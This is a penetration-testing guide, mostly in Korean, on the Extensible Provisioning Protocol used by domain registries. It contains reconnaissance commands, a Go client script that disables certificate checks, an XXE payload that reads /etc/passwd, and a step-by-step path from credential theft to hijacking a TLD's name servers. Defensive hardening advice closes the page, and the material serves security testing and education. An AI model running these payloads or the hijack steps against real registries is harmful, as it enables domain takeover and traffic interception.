700 - Pentesting EPP

Reading time: 5 minutes

기본 정보

Extensible Provisioning Protocol (EPP)는 도메인 이름 등록소와 등록자가 도메인 이름 및 기타 인터넷 자원을 관리하기 위해 사용하는 네트워크 프로토콜입니다. 이 프로토콜은 도메인 이름 등록, 갱신, 이전 및 삭제 프로세스의 자동화를 가능하게 하여 도메인 이름 시스템(DNS) 내의 다양한 엔티티 간에 표준화되고 안전한 통신 프레임워크를 보장합니다. EPP는 유연하고 확장 가능하도록 설계되어 인터넷 인프라의 필요에 따라 새로운 기능과 명령을 추가할 수 있습니다.

기본적으로, 이는 TLD 등록자가 TLD에서 새로운 도메인을 등록하기 위해 도메인 등록자에게 제공할 프로토콜 중 하나입니다.

펜테스트

이 매우 흥미로운 기사에서 일부 보안 연구자들이 이 프로토콜의 여러 구현이 XXE (XML External Entity)에 취약하다는 것을 발견한 방법을 볼 수 있습니다. 이 프로토콜은 XML을 사용하여 통신하므로 공격자가 수십 개의 다양한 TLD를 장악할 수 있었을 것입니다.

열거 및 정찰

EPP 서버는 거의 항상 TLS를 통해 TCP 700/tcp에서 수신 대기합니다. 일반적인 배포는 **상호 TLS (mTLS)**를 강제하므로 클라이언트는 등록소 CA에서 발급한 유효한 인증서를 제시해야 합니다. 그럼에도 불구하고 많은 개인 테스트 또는 사전 생산 배포는 그 제어를 잊어버립니다:

# Banner-grabbing / TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>

# Check if mTLS is *really* required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
-servername epp.test 2>/dev/null | head

서버가 TLS 핸드셰이크 후 연결을 종료하지 않으면 인증되지 않은 <hello/> 메시지를 보내려고 시도할 수 있습니다:

<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<hello/>
</epp>

테스트에 유용한 오픈 소스 클라이언트

• epp-client (Go) – 적극적으로 유지 관리되며, TCP/TLS 및 EPP-over-HTTPS (RFC 8730)를 지원합니다: go install github.com/domainr/epp/cmd/epp@latest
• gandi/go-epp – 퍼징 또는 nuclei 스타일 워크플로우를 위해 쉽게 계측할 수 있는 최소 클라이언트 라이브러리입니다.
• afq984/php-epp-client – 많은 소규모 등록 기관에서 사용되는 PHP 구현; 코드 리뷰를 위한 편리한 대상입니다.

Go epp-client를 사용한 최소 로그인+체크 스크립트 예:

package main
import (
"github.com/domainr/epp"
"crypto/tls"
)

func main() {
cfg := &tls.Config{InsecureSkipVerify: true}
c, _ := epp.DialTLS("epp.test:700", cfg)
c.Login("CLIENT_ID", "PASSWORD", nil)
resp, _ := c.DomainCheck("example","com")
println(resp)
}

일반적인 취약점 및 2023-2025 취약성

XXE / SSRF 페이로드 (많은 Java/Spring 구현에 대해 작동)

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<command>
<check>
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
<domain:name>&xxe;</domain:name>
</domain:check>
</check>
</command>
</epp>

When the parser is mis-configured (XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true) the file content is returned inside the <resData> structure.

Other typical findings

1. 약한 자격 증명 정책 – EPP 로그인 비밀번호가 8자 미만; 사양이 속도 제한을 요구하지 않기 때문에 무차별 대입 공격이 종종 가능하다.
2. 누락된 registryLock / serverUpdateProhibited 상태 – 인증 후 공격자는 즉시 NS 레코드를 업데이트하고 트래픽을 탈취할 수 있다.
3. 서명되지 않은 폴 메시지 – 일부 구현은 여전히 폴 Q&A 메시지에 서명하지 않아 등록 기관 운영자의 스푸핑/피싱을 가능하게 한다.

Attack Path: From Zero to TLD Hijack

1. Discover an EPP endpoint (often hidden behind a generic host like ot&e.<tld>.nic.<cc>).
2. Abuse one of the weaknesses above to gain registrar-level credentials (XXE → SSRF to IMDSv1, credential exfil, or TLS-bypass).
3. Issue <update> requests to change the domain’s hostObj records to attacker-controlled name servers.
4. (Optional) Submit a <transfer> to move the domain to an attacker-controlled registrar – many registries still rely on a single auth-code.
5. Profit: full control of DNS zone, ability to request TLS certificates via ACME.

Defensive Measures & Hardening

• Enforce mTLS with per-registrar client certificates and pin the registry CA.
• Set parserFeature secure-processing=true or equivalent to kill XXE.
• Run continuous fuzzing of the XML parser (e.g., with go-fuzz or jazzer for Java).
• Deploy Registry Lock / server*Prohibited statuses for high-value domains.
• Monitor poll queue for suspicious <transfer> or <update> commands and alert in real-time.
• ICANN 2024 DNS-Abuse contract amendments require registries to prove rate-limit & auth controls – leverage them.

References

• ICANN Security and Stability Advisory Committee (SSAC). "SAC118: Consequences of Registry Operator Failure to Implement EPP Security Controls". 2024.
• HackCompute – "Hacking EPP servers: abusing XXE to hijack TLDs" (2023).